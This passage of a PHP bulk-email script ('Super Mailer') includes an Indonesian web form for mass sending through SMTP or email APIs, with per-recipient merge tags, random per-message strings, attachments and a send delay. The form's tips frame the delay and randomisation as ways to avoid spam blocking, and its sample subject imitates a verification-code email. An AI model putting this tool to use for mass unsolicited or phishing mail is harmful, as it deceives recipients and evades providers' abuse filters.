private function sendViaMail($to, $name, $subject, $htmlBody, $textBody, $attachments) {
$from = $this->config['from_email'];
$fromName = $this->config['from_name'] ?: '';
$toFormatted = $name ? "$name <$to>" : $to;
$subjectEnc = $this->encodeHeader($subject);
$boundary = '----=_Part_' . md5(uniqid('', true));
$fromHeader = $fromName ? $this->encodeHeader($fromName) . " <$from>" : $from;
$headers = array("MIME-Version: 1.0", "From: $fromHeader", "Content-Type: multipart/mixed; boundary=\"$boundary\"");
$body = '';
$altBoundary = $boundary . '_alt';
$body .= "--$boundary\r\nContent-Type: multipart/alternative; boundary=\"$altBoundary\"\r\n\r\n";
$plain = $textBody ?: strip_tags($htmlBody);
$body .= "--$altBoundary\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Transfer-Encoding: 8bit\r\n\r\n$plain\r\n\r\n";
if ($htmlBody) $body .= "--$altBoundary\r\nContent-Type: text/html; charset=utf-8\r\nContent-Transfer-Encoding: 8bit\r\n\r\n$htmlBody\r\n\r\n";
$body .= "--$altBoundary--\r\n\r\n";
foreach ($attachments as $att) {
if (!is_file($att['path'])) continue;
$data = file_get_contents($att['path']);
$mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
if (!$mime) $mime = 'application/octet-stream';
$fname = $att['name'] ?: basename($att['path']);
$body .= "--$boundary\r\nContent-Type: $mime; name=\"{$fname}\"\r\nContent-Disposition: attachment; filename=\"{$fname}\"\r\nContent-Transfer-Encoding: base64\r\n\r\n" . chunk_split(base64_encode($data)) . "\r\n";
}
$body .= "--$boundary--\r\n";
if (!mail($toFormatted, $subjectEnc, $body, implode("\r\n", $headers))) throw new Exception("mail() false.");
}
private function encodeHeader($str) {
if (preg_match('/[^\x20-\x7E]/', $str)) return '=?UTF-8?B?' . base64_encode($str) . '?=';
return $str;
}
}
// --- EKSEKUSI ---
try {
$mailer = new BulkMailer($config);
$mailer->sendBulk($recipients, $subject, $html_body, $text_body, $attachments, $delay);
$stats = $mailer->getStats();
if ($wantJson) {
$allLogs = ob_get_clean();
header('Content-Type: application/json; charset=utf-8');
echo json_encode(array(
'success' => true,
'stats' => array('total' => count($recipients), 'sent' => $stats['sent'], 'failed' => $stats['failed']),
'results' => $stats['results'],
'logs' => array_values(array_filter(explode("\n", trim($allLogs)))),
), JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
}
} catch (Exception $e) {
if ($wantJson) {
$allLogs = ob_get_clean();
header('Content-Type: application/json; charset=utf-8');
http_response_code(500);
echo json_encode(array('success' => false, 'error' => $e->getMessage(), 'logs' => array_values(array_filter(explode("\n", trim($allLogs))))), JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
} else {
echo "ā Error: " . $e->getMessage();
if (!empty($config['log_file'])) @file_put_contents($config['log_file'], date('Y-m-d H:i:s') . ' ERROR: ' . $e->getMessage() . "\n", FILE_APPEND);
}
}
exit;
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Super Mailer - Form</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif; background: #f0f2f5; padding: 15px; }
.container { max-width: 860px; margin: 0 auto; background: #ffffff; padding: 25px 20px; border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); }
h1 { font-size: 1.8rem; color: #1a1a2e; border-bottom: 3px solid #007bff; padding-bottom: 12px; margin-bottom: 20px; display: flex; align-items: center; gap: 10px; }
.warning { background: #fff8e1; border-left: 4px solid #f5a623; padding: 14px 18px; border-radius: 6px; font-size: 0.9rem; color: #5d4b1a; margin-bottom: 25px; line-height: 1.7; }
.warning strong { color: #b7410e; }
.warning code { background: #fff3cd; padding: 1px 6px; border-radius: 4px; font-family: monospace; color: #856404; border: 1px solid #ffe69c; }
label { display: block; font-weight: 600; font-size: 0.95rem; margin: 18px 0 6px 0; color: #1e293b; }
input[type="text"], input[type="number"], input[type="password"], select, textarea { width: 100%; padding: 12px 14px; border: 1px solid #d1d5db; border-radius: 8px; font-size: 1rem; background: #fafafa; transition: 0.2s; }
input:focus, select:focus, textarea:focus { outline: none; border-color: #007bff; box-shadow: 0 0 0 3px rgba(0,123,255,0.15); background: #fff; }
textarea { min-height: 90px; font-family: monospace; resize: vertical; }
.row { display: flex; gap: 16px; flex-wrap: wrap; }
.col { flex: 1; min-width: 200px; }
.field-group { background: #f8fafc; padding: 18px 16px; border-radius: 10px; margin: 12px 0 8px 0; border-left: 5px solid #007bff; }
.field-group.smtp { border-left-color: #28a745; }
.field-group.brevo { border-left-color: #ff6b35; }
.field-group.sendgrid { border-left-color: #1a82e2; }
.field-group.mandrill { border-left-color: #e63946; }
.field-group.smtp2go { border-left-color: #6a4c93; }
.field-group h4 { font-size: 1rem; margin-bottom: 12px; color: #0f172a; }
small { display: block; margin-top: 6px; color: #6b7280; font-size: 0.8rem; }
button { background: #007bff; color: #fff; border: none; padding: 16px 28px; border-radius: 50px; font-size: 1.1rem; font-weight: 700; cursor: pointer; margin-top: 25px; width: 100%; transition: 0.2s; letter-spacing: 0.5px; }
button:hover { background: #0056b3; transform: scale(1.01); }
.debug-check { display: flex; align-items: center; gap: 10px; margin-top: 18px; font-weight: 400; }
.debug-check input[type="checkbox"] { width: 20px; height: 20px; margin: 0; }
.tag-help { background: #e7f3ff; border-left: 4px solid #2196f3; padding: 12px 16px; border-radius: 6px; font-size: 0.85rem; margin: 10px 0 0 0; color: #0d47a1; line-height: 1.8; }
.tag-help code { background: #fff; padding: 2px 8px; border-radius: 4px; font-family: monospace; color: #d32f2f; font-weight: 600; border: 1px solid #bbdefb; }
@media (max-width: 600px) {
body { padding: 8px; } .container { padding: 16px 12px; } h1 { font-size: 1.4rem; }
.row { flex-direction: column; gap: 8px; } .col { min-width: 100%; }
button { padding: 14px 20px; font-size: 1rem; } .field-group { padding: 14px 12px; }
input, select, textarea { font-size: 0.95rem; padding: 10px 12px; } .warning { font-size: 0.8rem; padding: 10px 12px; }
}
@media (max-width: 400px) { h1 { font-size: 1.2rem; flex-wrap: wrap; } }
</style>
</head>
<body>
<div class="container">
<h1>š§ Super Mailer - Form Kirim Massal</h1>
<div class="warning">
<strong>ā ļø Perhatian:</strong>
<br>⢠Untuk Gmail, pilih driver <strong>SMTP</strong> dan gunakan <strong>App Password</strong>.
<br>⢠Untuk API (Brevo / SendGrid / Mandrill / SMTP2GO), pilih driver masing-masing dan isi API key.
<br>⢠<strong>From Name</strong> muncul di email penerima.
<br><br>
<strong>š·ļø Tag yang didukung (Subject, HTML, Teks):</strong>
<br>⢠<code>{email}</code> ā email penerima
<br>⢠<code>{name}</code> ā nama penerima (fallback: sebelum @)
<br>⢠<code>##randomstring##</code> ā random unik 16 karakter per email
</div>
<form action="" method="post" enctype="multipart/form-data">
<label for="driver">Pilih Driver</label>
<select name="driver" id="driver" onchange="toggleDriver(this.value)">
<option value="smtp">SMTP (Rekomendasi Gmail)</option>
<option value="brevo">Brevo API</option>
<option value="sendgrid">SendGrid API</option>
<option value="mandrill">Mandrill API</option>
<option value="smtp2go">SMTP2GO API</option>
<option value="mail">mail() Bawaan PHP</option>
</select>
<!-- SMTP CONFIG -->
<div id="smtp_config" class="field-group smtp">
<h4>āļø Konfigurasi SMTP</h4>
<div class="row">
<div class="col"><label>Host</label><input type="text" name="smtp_host" value="smtp.gmail.com"></div>
<div class="col"><label>Port</label><input type="number" name="smtp_port" value="587"></div>
</div>
<div class="row">
<div class="col"><label>Username</label><input type="text" name="smtp_user" placeholder="email@gmail.com"></div>
<div class="col"><label>Password</label><input type="password" name="smtp_pass" placeholder="App Password"></div>
</div>
<label>Security</label>
<select name="smtp_encryption">
<option value="tls">TLS (587)</option>
<option value="ssl">SSL (465)</option>
<option value="none">None (25)</option>
</select>
</div>
<!-- BREVO CONFIG -->
<div id="brevo_config" class="field-group brevo" style="display:none;">
<h4>š Konfigurasi Brevo API</h4>
<label>API Key (v3)</label>
<input type="text" name="brevo_api_key" placeholder="xkeysib-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
<small>Generate di: https://app.brevo.com/settings/keys/api</small>
</div>
<!-- SENDGRID CONFIG -->
<div id="sendgrid_config" class="field-group sendgrid" style="display:none;">
<h4>š Konfigurasi SendGrid API</h4>
<label>API Key (Bearer Token)</label>
<input type="text" name="sendgrid_api_key" placeholder="SG.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
<small>Generate di: https://app.sendgrid.com/settings/api_keys</small>
</div>
<!-- MANDRILL CONFIG -->
<div id="mandrill_config" class="field-group mandrill" style="display:none;">
<h4>š Konfigurasi Mandrill API</h4>
<label>API Key</label>
<input type="text" name="mandrill_api_key" placeholder="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
<small>Generate di: https://mandrillapp.com/settings/index</small>
</div>
<!-- SMTP2GO CONFIG -->
<div id="smtp2go_config" class="field-group smtp2go" style="display:none;">
<h4>š Konfigurasi SMTP2GO API</h4>
<label>API Key</label>
<input type="text" name="smtp2go_api_key" placeholder="api-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX">
<small>Generate di: https://app.smtp2go.com/settings/apikeys (menu "API Keys")</small>
<small style="color:#b7410e;">ā ļø Copy API key SEKALI SAJA. Format: <code>api-xxxxxxxx...</code></small>
</div>
<!-- FROM -->
<div class="field-group">
<h4>āļø Pengirim (From)</h4>
<div class="row">
<div class="col"><label>From Email</label><input type="text" name="from_email" placeholder="sender@domain.com" required></div>
<div class="col"><label>From Name</label><input type="text" name="from_name" placeholder="Nama Pengirim"></div>
</div>
</div>
<label>š Daftar Penerima <small>(satu per baris, format: Nama <email>)</small></label>
<textarea name="recipients" placeholder="Budi <budi@mail.com> Ani <ani@mail.com>" required></textarea>
<label>š Subject</label>
<input type="text" name="subject" placeholder="Halo {name}, kode verifikasi kamu: ##randomstring##" required>
<div class="tag-help">
š” <strong>Tag tersedia:</strong> <code>{email}</code> <code>{name}</code> <code>##randomstring##</code>
</div>
<label>š Isi HTML</label>
<textarea name="html_body" rows="6" placeholder="<h1>Halo {name}</h1><p>Email: {email}</p><p>Kode: ##randomstring##</p>"></textarea>
<label>š Isi Teks (Alternatif)</label>
<textarea name="text_body" rows="3" placeholder="Halo {name}, email kamu {email}. Kode: ##randomstring##"></textarea>
<label>š Lampiran (Opsional)</label>
<input type="file" name="attachment" accept=".pdf,.doc,.docx,.png,.jpg,.zip">
<label>ā±ļø Jeda (mikrodetik)</label>
<input type="number" name="delay" value="500000">
<small>Rekomendasi: 500000 (0.5 detik) agar tidak kena blokir spam.</small>
<div class="debug-check">
<input type="checkbox" name="debug" value="1" id="debug">
<label for="debug" style="display:inline; font-weight:400; margin:0;">Aktifkan Debug</label>
</div>
<button type="submit" name="submit">š Kirim Sekarang</button>
</form>
</div>
<script>
function toggleDriver(val) {
document.getElementById('smtp_config').style.display = (val === 'smtp') ? 'block' : 'none';
document.getElementById('brevo_config').style.display = (val === 'brevo') ? 'block' : 'none';
document.getElementById('sendgrid_config').style.display = (val === 'sendgrid') ? 'block' : 'none';
document.getElementById('mandrill_config').style.display = (val === 'mandrill') ? 'block' : 'none';
document.getElementById('smtp2go_config').style.display = (val === 'smtp2go') ? 'block' : 'none';
}
document.addEventListener('DOMContentLoaded', function() {
toggleDriver(document.getElementById('driver').value);
});
</script>
</body>
</html>